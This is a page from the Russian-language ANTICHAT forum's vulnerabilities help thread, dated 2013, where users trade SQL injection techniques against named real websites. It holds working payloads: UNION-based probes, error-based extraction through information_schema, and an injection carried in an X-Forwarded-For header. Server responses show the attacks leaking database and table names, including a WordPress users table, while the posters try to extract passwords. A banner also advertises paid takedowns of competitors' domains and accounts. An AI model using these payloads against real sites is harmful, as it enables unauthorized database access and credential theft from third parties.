УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 2207 из 2438

2207

Опции темы

Поиск в этой теме

Опции просмотра

#22061

03.02.2013, 16:32

panfilov1991

Guest

Сообщений: n/a

Провел на форуме:
6020

Репутация: 0

не подскажите как раскрутить?

Код:

Code:
http://www.golowar.ru/news.php?id=67&page='

Цитата:

Сообщение от None

SELECT c.*, ch.gmt, u.username, u.moder, ch.race FROM comments c LEFT JOIN `character` ch ON ch.id = c.author LEFT JOIN `users` u ON u.id = c.author WHERE c.article_id = "67" LIMIT -10,10 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-10,10' at line 1

перепробовал всё, результат одна и та же таблица

#22062

03.02.2013, 21:08

Ereee

Guest

Сообщений: n/a

Провел на форуме:
102354

Репутация: 267

Цитата:

Сообщение от panfilov1991

panfilov1991 said:
не подскажите как раскрутить?

Код:

Code:
http://www.golowar.ru/news.php?id=67&page='

перепробовал всё, результат одна и та же таблица

Никак, intval().

#22063

03.02.2013, 22:19

panfilov1991

Guest

Сообщений: n/a

Провел на форуме:
6020

Репутация: 0

Цитата:

Сообщение от Ereee

Ereee said:
Никак, intval().

то есть в базу не как не пробиться?

#22064

03.02.2013, 22:47

BlackIce

Guest

Сообщений: n/a

Провел на форуме:
18665

Репутация: 27

Not Acceptable

Цитата:

Сообщение от None

___http://plainfieldsportsnews.com/news.php?id=2%29%29+union+select+1,2,3,4,5,6,7,8,9 ,10,11,12,13,14,15,16,17,18,19,20,21,22,23+--+

#22065

04.02.2013, 00:33

Vip77

Guest

Сообщений: n/a

Провел на форуме:
46989

Репутация: 20

Цитата:

Сообщение от BlackIce

BlackIce said:
Not Acceptable

http://plainfieldsportsnews.com/news.php?id=2 /*!30000and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e,0x27,unhex(Hex(cast(schema_name as char))),0x27,0x7e) from `information_schema`.schemata limit 1,1)) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and 1=1*/

#22066

04.02.2013, 00:37

BlackIce

Guest

Сообщений: n/a

Провел на форуме:
18665

Репутация: 27

Цитата:

Сообщение от Vip77

Vip77 said:
http://plainfieldsportsnews.com/news.php?id=2 /*!30000and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e,0x27,unhex(Hex(cast(schema_name as char))),0x27,0x7e) from `information_schema`.schemata limit 1,1)) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and 1=1*/

only error based ?

#22067

04.02.2013, 06:24

BigBear

Новичок

Регистрация: 04.12.2008

Сообщений: 11

Провел на форуме:
69033

Репутация: 8

Цитата:

Сообщение от BlackIce

BlackIce said:
only error based ?

Религия не позволяет использовать Error-Based ? Тот же вывод, в чём проблемы то ? Какая то особая ситуация ?

#22068

04.02.2013, 14:43

er9j6@

Guest

Сообщений: n/a

Провел на форуме:
107835

Репутация: 23

GET /news.php HTTP/1.1

Host: www.golowar.ru

X-Forwarded-For: 1'and(select(1)from(select(count(*)),concat((selec t(version())from(wp.wp_users)limit/**/0,1),0x00,floor(rand(0)*2))x/**/from(information_schema.tables)group/**/by(x))a)and'

Стоит WP на сервере там, вывести пароль не могу, в чем проблема?

GET /news.php HTTP/1.1

Host: www.golowar.ru

X-Forwarded-For: 1'and(select(1)from(select(count(*)),concat((selec t(version())from(wp.wp_users)limit/**/0,1),0x00,floor(rand(0)*2))x/**/from(information_schema.tables)group/**/by(x))a)and'

Table 'wp.wp_users' doesn't exist

#22069

04.02.2013, 15:19

Ereee

Guest

Сообщений: n/a

Провел на форуме:
102354

Репутация: 267

Цитата:

Сообщение от er9j6@

er9j6@ said:
GET /news.php HTTP/1.1
Host: www.golowar.ru
X-Forwarded-For: 1'and(select(1)from(select(count(*)),concat((selec t(version())from(wp.wp_users)limit/**/0,1),0x00,floor(rand(0)*2))x/**/from(information_schema.tables)group/**/by(x))a)and'
Стоит WP на сервере там, вывести пароль не могу, в чем проблема?
GET /news.php HTTP/1.1
Host: www.golowar.ru
X-Forwarded-For: 1'and(select(1)from(select(count(*)),concat((selec t(version())from(wp.wp_users)limit/**/0,1),0x00,floor(rand(0)*2))x/**/from(information_schema.tables)group/**/by(x))a)and'
Table 'wp.wp_users' doesn't exist

Table 'wp.wp_users' doesn't exist

#22070

04.02.2013, 16:08

er9j6@

Guest

Сообщений: n/a

Провел на форуме:
107835

Репутация: 23

Цитата:

Сообщение от Ereee

Ereee said:
Table 'wp.wp_users' doesn't exist

Так-то она есть

GET /main.php HTTP/1.1

Host: www.golowar.ru

X-Forwarded-For: 1'and(select(1)from(select(count(*)),concat((selec t(concat_ws(0x3a,table_schema,table_name))from(inf ormation_schema.tables)limit/**/174,1),0x00,floor(rand(0)*2))x/**/from(information_schema.tables)group/**/by(x))a)and'

Duplicate entry 'wp:wp_users' for key 'group_key'

Страница 2207 из 2438

2207

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход